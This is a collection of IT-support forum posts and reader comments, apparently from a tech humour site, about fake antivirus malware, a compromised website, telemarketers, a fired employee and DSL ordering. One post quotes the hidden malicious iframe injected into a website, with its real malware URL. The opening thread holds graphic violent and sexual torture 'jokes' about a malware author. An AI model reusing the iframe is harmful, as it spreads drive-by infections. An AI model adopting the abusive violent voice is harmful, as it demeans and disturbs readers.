...If I ever meet the low-down, no-good, piece-of-shit, cocksucking punk-ass bitch who wrote XP AntiSpyware 2009, I am going to rape his ass with a porcupine.
Bastard's bullshit malware on a client's computer not only added itself as an exception to AVG; not only infected so many files that even though I can successfully boot the system and log in I'm still not sure I can save it; but it also infected my flash drive containing all of my portable diagnostic utilities.
Up to 27 infected files on the drive and still scanning.
Took all night for my evaluation copy of F-Secure AntiVirus to scan the client's hard drive. It found 1179 infected files, and removed all but 6 of them. After that, SpyBot found another 52 and removed all but 2. F-Secure is now scanning my flash drive.
Items like Outlook Express, Windows Media Player, WordPad, several MS games, and some other incidentals are now conspicuously absent from my client's system.
Now I've got to try to remember if I've used my flash drive on any other system between the time it became infected and now.
Yes, this is how I *really* feel.
No, I'm not holding back.
[By: RiffRaff]
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I'll restrain him, you shove the porcupine where the sun don't shine. I'll pull a few spare quills from the poor little guy and shove 'em into the guy's manhood. He'll nevrr do tat again. I had to fix my file associatiosn in winamp and there was no reasony why, until I found out about the hijack.starmenu thingy malwarebytes found. -AdmiralLaurie
(A) You find him, I'll help hold him down, and then swear we was out smashin' mailboxes all night! -Divinar
(B) http://salestores.com/imatio144.html -Divinar
Divinar: That is the *exact* flash drive I carry with me everywhere, and the one that is infected. Magenta and I each have the 8 GB model. We love them. :~} -RiffRaff
after the client has his comp up and running if he can't get f-secure for himself malwarebytes will also get rid of xpantivirus09. -Icelator
No... NO NO NO NO! You do not want to rape him with a porcupine... That's getting off light. You want to take as many quills as you can, dip them in liquid capsaicin, and fire them up his piss-hole using compressed air. As Skinner said "You count how many you can do in an hour, then try to beat that number." -exzyle2k
According to this http://www.av-comparatives.org/images/stories/test/ondret/avc_report21.pdf Avira is faster and detects more than F-Secure. F-Secure lets 6.6% of the test sample slip through, Avira only missed 0.3%. In my book that makes Avira 22 times more effective although it does raise more false positives. G DATA got down to 0.2% but I don't know if they have a free version. -AussieFoot
Ah, but Riff, did you ENGAGE the write-protect before inserting the drive into client's PC? I make this a mandatory step on the little flash drive I use for tech troubleshooting, and copy things from it if they need to write to run. Safer for me, safer for the *fish... -Enzedder
My favorite "ultimate punishment" for those busterds is a cattle-prod suppository. -Voz
Riff, I sincerely sympathise. I've had to deal with two variants of this bastard this week alone. Malwarebytes deals with it once the running services & executables have been located and killed, but shit does it do some damage. The most recent calls itself Total Security Center and the exe's all begin with TSC. Hmm... -Gromit
An IV drip of hydrofluoric acid would be fun to watch. -Stryker One
Ream him with sandpaper and then give him a salt enema. Or strap him to a chair, force his eyelids open and make him watch reruns of political campaigns until he bleeds. -ecoli
Adam Sandler's Little Nicky had it right. They dressed Hitler up in a french maids costume, then had him pick out the pineapple to use as a suppository. It's one of the funniest things I have EVER seen in a movie. -DataSolutions
Or, a more involved process - A fire-ant enema with a rough-cut Redwood 4 by 6 drilled with a 1 3/4 inch passageway and powered by a 5 gallon air compressor. -TieDyedDinosaur
Unimaginative Amateures. Try forcing him to clean all the PCs that have been infected ... one at a time and to the CLIENT's satisfaction ... with no coffee and the only breaks he gets are ala Burrkiss. What do you think ? -Necros
Necros.. I think you're on to something there.... -ShujinTribble
I hate that XP Spyware, too. My sister got infected. IO was at her house 6 hours trying to clean it. Every time I ran every cleaner I could, it cleaned the computer. I'd reboot and Antispyware would pop up again. At one point, it bluescreened IE and other apps that were running. Now I can't even get online with the laptop. I'll bring the porcupine. -MisterCommon
On in-house trouble calls now I always bring the laptop and an external drive adapter. Though it's not actually supposed to work that way, MalwareBytes will clean the external drive reasonably well, at least to the point where it won't start coming back. But even MalwareBytes has trouble with recent versions of this particular sh*tware, because it now rootkits itself, so that the operating system can't see it. It really has to be cleaned off a drive you didn't boot from. -chazz
Ok, folks.. I have to ask.. what about various LiveCD-based eradication tools... like the old HELIX CD's or whatever they were.. no good? -ShujinTribble
You try making a bootable ThumbDrive using something like the "LiveXP" or "LiveVista" projects so you can boot into an O/S and clean it up , Shujin ? -Necros
Had 2 machines with this virus in the last 2 weeks, managed to get shut with MalwareBytes and then a 5 hour deep scan with Kaspersky Internet Security 2009.
It had 1944 trojans/virus etc, had to do it in safe mode as it kept saying AVG (Free) needed paying for .........SHit if I catch him you can have whats left. -gastro
Riff man, get in line I already owe this asshole a punch in the nuts with stun gun nuckles. -Phylok
Better to be forewarned than foreskinned.... -vacuumtubes
Riff, I think off XP Anivirus/ Antispyware 2009 and the Doody-head who invented, I am reminded of the words of Method Man; "TORTURE, MUTHAF__KA!" -udoshan
I would use a cattle prod to light their teeth from the throat. -Wraith556
Necro - Never once.. that's why I asked. I thought one of those LiveCD's would be a better choice since 0% chance of cross-infection. -ShujinTribble
Hey! I take exception to that sexist statement! Women can be just as low-down, no-good, piece-of-shit, cocksucking punk-ass bitches as any man I've ever met!<Sklere-Imsaho? Light-200k to the LART shelter.... Please!?> -ZorglubZ
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37.
A Public Apology From Magenta & Myself
Yesterday morning, our local news station did a piece on the "upcoming sugar shortage," and how it might impact the prices we pay for candy and whatnot. They had a few interview clips from various people.
The one I want to apologize for was a 5-second clip of a young lady stating: "I'm not worried about this. We're Americans! We're not going to run out of sugar."
I was and remain speechless. Maybe I'll get up the vocabulary to post a rant in the Break Room later.
For now, however, our sincerest and humblest apologies to the rest of the world will have to suffice.
[By: RiffRaff]
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Huh? Call me misinformed or naiev, but she's implying something insulting, isn't she? -AdmiralLaurie
http://www.youtube.com/watch?v=BKIgjhCD_KM -Stryker One
Well, we do grow a lot of sugar beets so we may not run out. If there is a shortage we may have to cut back a lot,,,NOT that we FAT AMERICANS need to cut back or anything like that. Just because my wife and I both have 50 lbs that the other is not legally married to does not mean we are fat!! Just "fluffy". -atomicbill
I need to cut back and I damned well know it. I'm trying. I really really am. I just have to map out a route I can safely walk that has a well-defined path. -AdmiralLaurie
It's okay Riff. The rest of the world has learned to accept that the majority of intelligent Americans post intelligent comments on the internet and wouldn't be caught within 10 miles of a "news" camera because they know anything intelligent would be "edited" down to the level of the majority of the viewers. No need to apologize. :) -SwedishChef
Maybe she meant that most of our food doesn't even have real sugar anyway, since high-fructose corn syrup is so much cheaper and worse for us. -Paperclip
http://www.wishtv.com/dpp/news/business/Existence_of_sugar_shortage_debatable_20090813 Link to story & video of said quote. -RiffRaff
she was not from louisiana was she, the news crew always seems to find the redneck and as them questions... -NerfHerder
Yup... We're Americans, damnit! We're not going to run out of sugar, oil, healthcare, or foreign nations who think highly of us!! Fucking twat... A little chlorine in that gene pool, please. -exzyle2k
Y'know, if we'd only known how the Colonies would turn out we'd never have let the Pilgrim Fathers leave Plymouth. :-) -Gromit
America.... F*CK YEAH -Grembo
Last year I went to Iraq. Before Team America showed up, it was a happy place. They had flowery meadows and rainbow skies, and rivers made of chocolate, where the children danced and laughed and played with gumdrop smiles. -Motient
http://www.youtube.com/watch?v=BhTZ_tgMUdo (sorry Riff..) -Bynar
Q: "How do you make 2 pounds of fat attractive to a man?" A: Put a nipple on it. -CTYankee
Other acceptable answers: Put it in an energy drink; put it in a bun with pickles, cheese, lettuce, & ketchup; put it in an add for 'girth' improvement... -AngrySup
The thing that gets me is her saying "we'er Americans", what that has to do with the shortage i don't know. -compbrat
Mmm, she does have a point. The classic idea of a shortage is that there isn't enough of an item to go around, at any price (or whatever condition you have set as part of the definition of the item). There is no gold shortage, because you can still get gold, even if it's 10x the price it was 10 years ago. A shortfall in the amount of sugar production globally will simply result in a reallocation of resources, as people start pursuing sugar substitutes (aspartame, honey, fructose, etc). As long as you can still get something, theoretically there isn't a shortage. Of course, I doubt this is exactly what she meant... -xxmagus
I'm gonna guess that's the same lady who complained that the noise of construction may be harmful to the unborn child she was carrying whilst smoking a cigarette. -elcapitane
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38.
Story, With Two Questions
Yesterday afternoon (Just before time to clock out, natch) one of my users came to me and said, "Something just popped up on my computer, then it locked up."
Peachy.
Long story short, they had visited a website in the course of their job, which I believe downloaded malicious code. More on that in a minute. Whatever it was, it was nasty, because it disabled the e-mail scanner on AVG, disabled any ability to run executable files like HiJackThis & SpyBot, even in Safe Mode, and eventually just degraded the file system to the point that I couldn't even mount it on my laptop.
Dug spare computer out of the server closet, restored the user's data from the backup server, and he's back up and running. End of that story.
Being ever the curious type, I took a look at the website in question. Nothing unusual on the surface, but then I didn't expect anything to happen with Linux. Took a gander at the page source, and everything looked normal until I reached the very bottom. There, 25 lines below the {/html} tag was this little item:
{iframe src="http://3f0.ru:8080/index.php" width=160 height=151 style="visibility: hidden"}{/iframe}
NOTE: That is the actual line of code, except for me swapping in {} so it will show up here. Please take proper precautions if you're going to visit that URL with a Windows system. I don't want to be responsible for a dozen or so FFRs in the TSC community.
Now, "3f0" is what it says today. Yesterday, it was something else. This tells me that not only is that site compromised, there is a script running on that web server that is actively modifying the code.
Two questions:
1: Am I correct in my assessment of that line of code and a script running on the web server?
2: If so, is there a proper protocol for notifying the web hosting service, which is also located here in Indiana? I don't want to come across as some goofball calling up claiming that Communist psychic nuns are hacking their servers, but on the other hand, I would want to know if any of my websites had malicious code inserted in them.
Thanks in advance,
Riff
[By: RiffRaff]
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Dammit. Offsite Link = "h t t p : / / 3 f 0 . r u : 8 0 8 0 / index.php" -RiffRaff
A script on the server is likely but not necessary. It could be compromised and simply being reinfected. What I've used as protocol in the past is contacting the website owner and saying that there seems to be an infection on their web site, and that they should look for rogue code on their web page. -chazz
That looks like a compromise that was entered into the University of Kentucky website. It was nasty. I don't work for UofK, but we called them PDQ on it. -techinator
thats 1 reason why we block 8080 outbound -gashach
Riff, I'd call them pdq, as well. -AdmiralLaurie
I'm too chicken to look at that page. I might try it later in a VM or on my other system running Ubuntu. What virus was it exactly? -linuxmatt
Checked out the link on my Ubuntu system... the link itself leads to a blank page (after removing an extraneous quotation mark) - View Source is also empty. Take out everything after .ru, however, and it loads a site called "Sistem 7/24", which includes some web hosting services. -Seamyst
thanks for the heads up.. i moused over and didnt click... shit thats .. pretty effed up! -Harm
I tried the link with a Windows VM and all I received was a blank page. I was then able to run HJT and MalwareBytes with no trouble. It doesn't sound good though, I'd definitely look for the contact info on the website in question and give them a buzz. If the info isn't on the website, a WHOIS lookup should have it. -RamenMcTavish
Downloaded what I suspect was a boot sector virus. Booted the system to an OEM restore CD, deleted the existing partition, and created a new one. Immediately after formatting and the beginning of the XP install process, the machine rebooted and froze on boot. I'm trashing the drive and popping in a spare. Called the web hosting service and got through to the senior sysadmin. He said a few of their sites had been hit with that, but he thought he had gotten them all. He had it fixed very quickly. -RiffRaff
A bunch of the sites we host got hit by some Saudi Arabian hacker (or someone who claims to be Saudi Arabian). It's been fun to try and clean up. And by that I mean not fun. Irony: they deleted a bunch of files from one site, but we have a backup that was made in the process of attempting to recover from a server crash last week (the recovery was mostly successful, but the raid is degraded and the OS is limping along, but the services are all working properly). -OgdenTechGuy
Don't trash the drive...DBAN the sucker. Nothing survives a good shot of DBAN. -RamenMcTavish
A$$w1pe$ who write scripts like that need terminating with extreme prejudice. -MadJack
It's a .ru domain, might as well go click on any .ng domain while you're at it. -Stryker One
Was talking to the security lead at work today. He's even seen a resurgence in *macro* viruses of late. The bastards just don't stop... -Mahal
"And now, I will consummate my marriage...." -vacuumtubes
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39.
It's The Little Victories
We've had telemarketers from "Merchant Services" calling Peyton Place on a regular basis, trying to get us to switch our credit card processing to them. The last time they called, they got transferred to me, and I told them to remove us from their calling list. The woman on the other end immediately became snotty, letting me know in no uncertain terms that they are not required to remove us from their calling list. I demanded to speak to a supervisor and she hung up.
So, I started doing research, and discovered that this company is notorious for its telemarketing techniques. I sent out an e-mail letting people know that the next time they call, to forward them to me.
Today, they called, and finally got put through to me after speaking to three other people. Which gave me a brilliantly evil idea.
I listened to her sales spiel for a couple of minutes, then said, "Okay, hang on just a second." **HOLD**
Called back to someone I know can be an annoying shit on the phone, told her what was up, and asked her to pick up the line, listen to the spiel for a minute, then transfer them to someone else.
She was transferred SEVEN times, before she finally got the hint and hung up during the final transfer, much to the amusement of my co-workers, especially when I declared "Yes! I am een-veencable!" when she hung up.
He who lives by idiocy shall die by idiocy. So sayeth the Riff.
[By: RiffRaff]
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Shall we deem this accomplishment worthy of entitlement? Riff's Runaround, for instance? -TieDyedDinosaur
Would that be giving someone a Riffaround?? (Hey, *someone's* gotta channel the MIA Burrkiss, might as well be me!) -SalParadise
Hahahaha! A Riffroll!!! -Enzedder
Well done. -clockkingfl
I vote for "Riff-Roll" -Divinar
Heck yeah. Riff-Roll it is! -AnneBWalsh
Oooh, I'm totally using this the next time a telemarketer calls! -Seamyst
There's usually about 10 of us on the helpdesk and sometimes we get sales calls. Maybe next time we'll take turns dumping them back to the helpdesk queue and seeing how many times we can do that until they give up. -Starfury
Nice job, Riff! This quarter's issue of 2600 has a very interesting article on dealing with telemarketers, though the method requires some legwork. -Seamus
::golf clap:: well done! -PerkyCecilia
Ahem, have you forgotten ? http://www.techcomedy.com/single/new_stories.php?content_number=75741 RiffRoll has already been used... -Spyder19
I do like it tho... -Spyder19
hehehehe, nice. My favourite method is to tell them to hold on, then set the phone upright and start listening to rather depressing and violent music. My record is five seconds. -AdmiralLaurie
Seamus, does the "legwork" involve kneecaps? -Wraith556
I used to work as a telemarketer. I was polite, as most people in the office were, but every now and then we'd get some shitstain on the phone who thought it was a good idea to be a giant pain in the ass... So, whenever we had one of those, we'd put them on our "instant call-back" queue, which was usually reserved for disconnects while trying to verify a sale. Needless to say, some poor chaps got bombed... And this was 12 years ago, so no DNC violations for us!! -exzyle2k
If they were polite, they wouldn't have gotten that treatment. They fired first; I merely reciprocated in kind. -RiffRaff
hehehehehe I needed a good laugh this morning. Nicely done! -MadJack
Riff, I'm not saying you were in the wrong... By no means... In the 12 years since I had that job, I've grown into a "shoot first, ask questions later" mentality with telemarketers... I'm just saying they have the same weapon on their end. -exzyle2k
At home, I have call intercept. When a vendor calls and I hit “2” to reject, they will usually try a second time and, on occasion, one is enough. The local Sympathy Orchestra is the only one that tried 3 times. When I accepted their third attempt, I just ranted and raved for about 90 seconds, using words that you can’t say on the radio, without even taking a breath. Then I slammed the phone down. However, they have NEVER called back. -Park7
Hold on a second, I'll be right back to post. -burrkiss
Simlpy brilliant!! Ha ha ha -THETECHFROMHELL
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40.
Ding! Dong! The Scum Is Dead!
Received orders from on high this morning to begin the checklist for a terminated employee regarding $Scumbag. His laptop is now sitting on my desk as I move data to the User Archives disk.
Dare I hope that it is now official?
[By: RiffRaff]
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Isn't doing the final -"Boot to the Head" for people like that satisfying? !! Yeah!! Hasta la Whatever!!" -jerrybear
Damn shame it couldn't happen with a federal subpeona, but I'm sure you'll take what you can get. -ActingUpAgain
AUA, you misspelled 'removal from the gene-pool' as 'federal subpoena'. :) -Seamus
Suggest you make a double thorough scan of the machine for cleaning purposes, just in case... -VFox
remove the hard drive from the laptop and have it enshrined in Carbonite. You know, just in case someone considers rehiring the clown. -ecoli
I agree with VFox... perhaps just going smashy smashy on the hard drive is the best option considering the contents... -exzyle2k
I'm hoping for your sake it's official. That's good news! -redfaery
with so many F'ed up users, I forgot scumbags tale of woe... link(s)? -HappyCrappy
HappyCrappy - Story starts here http://www.techcomedy.com/single/new_stories.php?content_number=79234 -Divinar
Please, please I hope he was terminated,with a pair of handcuffs, shackles and a farking taser! -AdmiralLaurie
People talking in movie shows,
People smoking in bed!
People voting Republican,
Give them a boot to the head!
Boot to the Head! Yah, yah...
Boot to the Head! Yah, yah...
Boot to the Head! Yah, yah...
Boot to the Head! Yah yah yah.. yah. yah yah yah...
Mechanics who can't fix a car,
Politicians who can't think!
The salesman who won't leave me alone,
The waiter who forgot my drink! -Biosynthetic
After just having gone through the original stories, let me beg you to still document, document, document EVERYthing, and keep said documenting for years (in a safe-deposit box or something, if need be). This could still come back to bite you and/or the company in several years. -Seamyst
The farce that was the original post read far too much like a comic book. Just remember what happens to dead bad guys in comic books. They always come back -Spyder19
Three months too late is better than never, I suppose. WTF were your bosses thinking? -thx1138
May I suggest that you contact the Center for Missing and Exploited Children. They have a whole unit dedicated to Child Porn. They are VERY Good at getting Law Enforcement to do something. I used to be a cop and they worked with us on a couple of cases. They are also, very, very good a tracking these kinds of people. They have a link called CyberTipline that should help you out. -Reddbarron999
I just read the original story (sorry, been working 12 hour days). First, Helldesk wondered how f@#$ing stupid one has to be to do s@#t like that on a work laptop and I am wondering why people like that are allowed to exist. I'm glad scumbag is gone and I hope you have no more issues. -persephone
It's about time they shit canned that piece of shit, what dd his was a felony and they should have canned his ass months ago, kudos to you for finding the problem and following up on it to start the beginning of the end of that sick perverted piece of shit. -THETECHFROMHELL
Not to be the voice of reason, here, but I'm guessing that the memo went out to cover the company, and Riff was 'removed from the line of fire' so $FormerEmployee can't claim that the logs were hearsay evidence Riff could have concocted. Also, this way, a suit for wronful termination will fall flat, and that's my guess for the *REASON* for this method <goes off to retch @ $FormerEmployee's conduct> -CTYankee
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41.
Just Another Day At Peyton Place
$Scumbag from the whole LambChop affair has just stormed out of the building during the weekly staff meeting, and rumor is that he stated he was quitting.
Now, this could just be a temper tantrum on his part in order to try and get his way about something, I don't know. Only time will tell.
However, regardless of how this turns out, I have no doubt it will be extremely entertaining.
More to follow, I'm sure...
[By: RiffRaff]
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Ok... Let's start the pool... I got $10 saying he's throwing a hissy fit. -exzyle2k
In this economy? Riiiiight..... -McSmiley
You mean you haven't locked his account as a security measure ? BAD SYSADMIN! -Necros
If he's quitting, shouldn't you be locking his account? After all, he's no longer an employee...... :) -SwedishChef
Oh, trust me: His VPN access has been revoked, as has his building alarm code. And his laptop is secured here in the building. -RiffRaff
Don't hit the door hit ya where the good Lord split ya. -ActingUpAgain
Don't you have a long and drawn out process to have said items returned if this is such a tantrum ? < Rubbing hands evily > Including .... perhaps ... some new corporate IT policy forms ? -Necros
I hope for your sake that he really is quitting, and in such a way it makes him completely ineligible for unemployment. -redfaery
And is this the same 'individual' who escaped justice for porn collections previously? -TieDyedDinosaur
Yup. -RiffRaff
Run'em sack'em nuke'em can'em trash'em bash'em thrash'em (think of Daft Punk's technologit when reading that) -virusjtg
This one goes out to all the PITA cow-irkers out there. Techs, altogether now: "This is the world's smallest violin, playing 'My Heart Bleeds' Just For You. You want we should call the waaambulance?" Sounds like my now former Sleeping Ugly cow-irker. After finishing his last shift on Sunday, word has it he proceeded home and locked himself in his room, and as of the start of my shift last night, hadn't come out. Awww, pity the poor slacker who can't do anything and can't take any responsibility for his/her actions.... -MadJack
Any chance there would still be evidence that could be sent to Law Enforcement? Or is that a sore subject with this company's past behaviour? -TieDyedDinosaur
Nothing that would survive a good defense attorney. I have a log file showing filenames, file sizes, and file dates from the backup server, but the content of all those files is gone. No, it's good riddance as far as I'm concerned. -RiffRaff
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42.
Prima Donna Gets Impatient
From yesterday's IM logs. "In Msg" is Prima Donna; "Out Msg" is another coworker. Pay close attention to the time stamps:
2009-06-24 09:53 AM In Msg I am not geting my emails
2009-06-24 09:54 AM In Msg Is Riff in?
2009-06-24 09:54 AM In Msg Hello
2009-06-24 09:54 AM Out Msg yeah ill have him call u
2009-06-24 09:54 AM In Msg Ok thanks
2009-06-24 09:55 AM Out Msg np
2009-06-24 10:02 AM In Msg Is he calling me some time to day lol?
So he gives his coworker less than a minute to respond to him via IM, and me 7 minutes to call him back regarding his Blackberry e-mail problem. Fucker. One of these days, he's going to get what's coming to him, and I hope I'm a part of it.
[By: RiffRaff]
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I have a special "list" of stupid projects that I don't wanna do. Whenever something I don't wanna do even MORE comes across my desk, I find something on that list and make it a priority in order to avoid the doing the other thing -Spyder19
He thought the 09:55 AM Out Msg said 'neep' -stiffarm
I envision a comms riser, the bottom of which empties out into a building vent. Below which is a dumpster filled with manure. A box of coax and thinwire connectors precariously balanced at the top of the riser. $PrimaDonna venturing into the comms room. Said box of connectors falls and strikes him on the head, causing him to fall down the riser and ultimately, down the vent shaft and into the aforementioned dumpster. Surveillance recording of the event taken for posterity and laughs at the next company party. -RamenMcTavish
Now, now, you missed the part where they got tangled in the thinwire on the way down, and strained themselves on exit. -AngrySup
See earlier comment on sock/bar soap. -HappyCrappy
Time is relative, you see. Other people are supposed to do things for Prima Donna and all his little compadres right away, but they can wait as long as they like to do things for other people. We have those where I work, oh yes indeed we do, to the point where I'm being headhunted for a better job simply because my usual turnaround time on phone calls is less than a day... -AnneBWalsh
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43.
The Gods Hate Me
It appears that a huge section of Indy suffered a major power surge this morning. Ten of my UPS units at Peyton Place failed completely. Our backup wireless link to Drop.Net is down. Something has gone wrong down at Peyton Place 2, and I have to go down there and assess the damage here in a few minutes, but at least one UPS failed, and it's possible a transformer blew out near the building. I just deployed two freshly installed Untangle and BackupPC servers down there yesterday. The BackupPC server didn't come back up after the hit.
All this on top of trying to get some ancient piece of 16-bit CNC software to install on Windows XP. Installed perfectly on my XP VM; four other standard XP installs have failed on four different machines.
2000 CC's valium, stat...
[By: RiffRaff]
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Twas me. I farrrrrrrted.... -vacuumtubes
Blame it on sunspots. Global warning. oh, sorry, global climate change. The recession. Or, depending upon the level of your pessimism (aka, employed or un-), the depression. Blame it on a government conspiracy, or even dig out that old standby, the KGB. My personal favorite these days is that Mars conjuction coming up Real Soon Now. But if I couldn't find something to blame for the hour I just spent at a dead standstill in 100+ degree temperatures on the interstate or my voicemail clogged with messages from users who are clamoring for me to fix their applications because they're getting "Remote server not resonding" 'errors' (hello, I don't FIX servers, like I told you the last hundred times!), I would have to be confined to a nice, quiet room with soft walls right now. Air conditioned, please. -emdeebee
ow. just ow. my worst enemy doesn't deserve that. I feel for you. -AdmiralLaurie
If you were in Iran, you could blame it on the CIA and/or the BBC. -Seamyst
Blame it on the Untangle servers. They overloaded the city -Spyder19
blame it on the ah a-a-a a-a -alcohol..(I'll take this one like a man - hopefully get this damned song out of my head) * Fire away!* -Harm
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44.
The AT&T Temporal Causality Loop
My friends, I have never had to try so hard in my life, to give a Fortune 500 company my money.
Our story begins back in mid-April or so, when I decided that the 1.5 Mb DSL connection I have with Drop.Net just wasn't fast enough for the simultaneous porn videos Magenta and I watch as we sit together on our couch.
A parenthetical aside: Drop.Net simply resells AT&T DSL services, although all the traffic is handled by Drop.Net equipment. Hence, if I can get DSL service through them, I should then theoretically be able to get it through AT&T.
So, I call AT&T and ask if they have a faster DSL service than the 1.5 I'm currently getting. Imagine my surprise when I'm told, "I'm showing DSL service is not available in your area, sir."
Um... no, you don't quite understand. I already have DSL service at my location, it's just through a different service provider.
Rinse, lather, repeat, ad infinitum. ad nauseum. I finally get the last tech to agree to bump the matter to the engineers, who would confirm if we did indeed have DSL service in our area.
Fast forward to Saturday, when we receive a post card in the mail, proclaiming the Good News that high-speed Internet is available in our area! Call this number now! Savings! Big, big savings!
So, I called them today. Imagine my joy when I am told that not only is DSL available in our area, they show all four speed packages in our area, up to and including 6 Mb. Oh, Joy! Rapture! Someone please pinch me, I've died and gone to the afterworld!
"Sign me up!" I exclaim, with all due enthusiasm. Except, guess what? The computer won't let the sales rep just send me a dsl modem. No, it's claiming that a technician *must* be sent out to do the installation, at $150. And he can't override the computer.
Um, thanks, but no thanks. I think I'm fully qualified to do the installation, and if you think I'm going to let one of your trained monkeys on MY network, you are out of your frakking mind. So, I am transferred to someone who can override that option for me.
Tech #2 is a brainless bag of mostly water who just can't seem to get it through her head that we DON'T HAVE A DSL ACCOUNT WITH AT&T YET!!!! I'm trying to set one up.
"Oh."
Can I speak to a supervisor, please?
So, transferred I am to person number three, who informs me that I've reached the wrong office, and he will transfer me to the proper office that can override the computer.
Fast forward to the end of this post, because I'm just tired of explaining it detail for gory detail. Let it be known that I had to speak to a total of five people over the course of an hour this afternoon to place a simple DSL order.
We are supposed to have our 6 Mb connection, and our modem, by 8pm this Thursday. We are starting a pool on how badly AT&T will fuck this up. Place your bets, here, folks.
[By: RiffRaff]
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My bet: Total disconnection of the landline, no modem, AND a $150 bill for "Installation Services" -Divinar
In my area, DSL speeds are dictated by several factors, whether you're a reseller or the phone company, up to and including distance from CO and age of the phone lines in the area, as well as their signal integrity. Theoretically, you should be able to get the same speed with whatever ISP...so I would check that fine print and make sure it says "6MB" and not "up to 6MB" because you might end up with 1.5 anyway, assuming it works the same for you as it does for us...(IE my company) -Dragones
Well, considering I had AT&T out at my job last week to switch phone lines to a new jack (we moved, ask Grue), and they were supposed to take the DSL with it, and it's now 6:15pm on Monday and we're still down, if you have it by the Second Coming you'll be lucky. -exzyle2k
My isp is rolling out what's called the ultimate tier of service. 50 meg down, 5 meg up. But so far only in a few areas. -atomicbill
My AT&T install went simply enough...they shipped me a modem, then called me when the service was on. I ran through the install, then went to DSLReports.com to figure out how to bridge the modem and get the router working properly; and all was good. It wasn't until I moved up the hall that things went downhill. -AlG
In the Seattle "area", Comcast is offering 50Mbps with a DOCSIS 3.0 modem, for about $150 a month. -Stryker One
That's nothing compared to doing a tech support call with Bell Sympatico. Our 6 mb service suddenly dropped to 1.5 mb service for no apparent reason. Call 1 was to India, tech support. There is no problem, but let me transfer you . 2nd tech. There is no problem, but let me transfer you. Tech 3 - you are too far from the Central Office to get 6 mb service. Now forgive me for calling tech 3 a fool, but i USED to have 6 mb service, and it worked just fine. Not to mention the fact that I can walk to the CO in 5 minutes! So, he transferred me to Canadian tech support, or so he thought, but I ended up talking to a nice lady in Collections in Montreal, who had weak English, but transferred me to Toronto. I got a Tier 2 tech, who at least understood my problem but could do nothing, and sent me to Sherman in Ottawa. Sherman got it, and forwarded the call to some really nice guy named Don, who was located 5 minutes walk away in the Central Office. They had accidentally swapped my profile for a slower one, and were able to fix it toot sweet. For the 2 hours I spent getting them to fix it, I could have gone over and bought the tech in the CO a coffee, gone to lunch, gone home, had a shower and so forth. I won't even get into the 6 months in a row they couldn't figure out how to BILL us properly! I hope your stay with AT&T is a lot less eventful. -NoneOther
my bet, based on their cellular service is: $750 for deposit, installation done wrong, computers reformatted and put with vista and their prorietary software, and three different version of AOL on your system. -AdmiralLaurie
I'm confused. Are you each watching different porn while simultaneously sitting together on the couch or are you watching the same porn at the same time on the same couch? And why would you think that those of us who have met you both would want to know about your porn habits? And just out of curiosity, what genre of porn was it? If it sounds cool I want a copy. -Bioguy
Sounds similar to Telstra over here. 1) Phone line cut by excavation in street = Nothing wrong with the line, it must be in your house. 2) Please install a direct (non-switchboard) line in our building = Install a line in an unrelated building that is still under construction. -AussieFoot
Well, since the same company's "Business Local" group was the one behind my phone system encounter, (see http://www.techcomedy.com/users/submitted_content.php?nick=Voz for item #25, "Getting to the People Who Count", for the details), anything may go. But, my money is on the upgrade going well, but them still posting the service charge anyway. That's what Qwest did to me in a similar kind of upgrade a few years back, anyway, even after the Rep. emphasized that the upgrade, as advertised, was free! -Voz
I'd wager that your initial inquiry prompted the whole "Haz iNtArWebZ NOWW" campaign, making $them profit. They will waive any fees to you, in perpetuity.
Not really. :-P -ThinTheHerd
That much hassle to upgrade to 6Mbit? It's fairly easy to get 24/3 Annex M here - though that is "up to", and the actual speeds are a little less. -Chromatix
When I upgraded my line from 2Mb to 8Mb, they managed to forget my static IP address and give it to someone else, while I was out of the country. I hope the other guy didn't mind the massive amount of spam that got directed there until I changed the DNS a week or two later. -rurwin
(I should note, that wasn't AT&T, nor even the same country.) -rurwin
What is real funny, is only Bioguy cares about the porn comment. Everyone else is teching out on DSL. -Year9595
Year9595: I have a cable modem. I don't care about DSL. Porn, however... -Bioguy
I got 20 On "service is delayed for several days" 30 on " they send a tech out who insists that they MUST do in the instalation" 50 on " they dsl modem arrives - factory default - no AT&T programing done" another 30 on Faulty Modem" and lastly another 20 on " connection no better then 1.5 due to AT&T citing " Line problems that a technicain must deal with.. next year.. maybe" -Harm
about the Pr0n... high quality? HD? is so umm.. wana send me a link or 2? i'm getting low quality stuff these days... -Harm
It took a month for the local telco in my little part of florida to get me upgraded from 5 to 10Mb DSL because they had to upgrade the NOC -Quchant
I've been waiting 3 months the the local cable company to install a new line at a clients. Their temporary solution was to simply plug into the neighbors router, and use cell phones... (their being the cable companys suggestion, not my client). I go through a daily ritual of calling to inquire about the install, getting escalated, disconnected, calling back, cursing getting transfered to the wrong department, getting disconnected... Too bad my client is about 3 inches outside of DSL coverage.. -garwain
Let's get back to the Pron thing. I can stream 2 to 3 movies at a time on my 27 inch monitor. Once I get a 42 inch, I might have to upgrade. Now if I could just get past the angry inch... -AngrySup
Paging Dr. Burrkiss...Dr.Burrkiss, pr0n on line 1. -lineswine
My money is on: After 2 weeks of delay, when you're not there, they send a guy out who decides to excavate your yard, punctures a water main, AND burns down your neighbor's house. -SirJosh
Oh riff, wait till you have to run the install program (motive) it installs a bunch of ATT crap you do not want.. then you have to uninstall it. Had to do a bunch of those for people when we stopped being a reseller....Cant understand why drop.net cant offer you at least 3 tho -beatmewithstick
Oh, and get your SNR & attn signals before you switch. Mine got switched the next day. I just used my old setup and switched the VPI and VCI, set new username in PPPOE and good to go. -beatmewithstick
Riff - I worked for Ameritech, not AT&T and set up DSL for the Midwest 5 sate region. Since SBC then AT&T took over, they removed MY system, which was superior. When I moved to Mettawa, Illinois, same deal - you cannot get it there. Since I worked there as a high level manager, contacted my boss who overrode the morons and had the 6 MB DSL. Seriously - PM me, I can send you my contact info and get this resolved for FREE installation. -BesideMyself
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45.
Star Trek (OT)
Went to see Star Trek at our local IMAX last night.
Go see it. Twice.
That is all.
[By: RiffRaff]
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Saw it Friday night. Excellent movie. -OgdenTechGuy
<sarcasm> So, is it any good? </sarcasm> -srteach
I want to see it in Imax now. I've seen it twice in a regular theater... -Caboose447
I saw it Friday night. Then I went again on Saturday after work. After it was over, I noticed it was starting again in the theatre across the hall, and snuck in and saw it again. AWESOME ! -Spyder19
Wait. How can Star Trek be off topic ? -Spyder19
My two words: More. Firepower. -vacuumtubes
I'm guessing the IMAX version is much more of a messy pants maker than the standard? If so, I'm totally there... Third time's a charm! -WolfPup
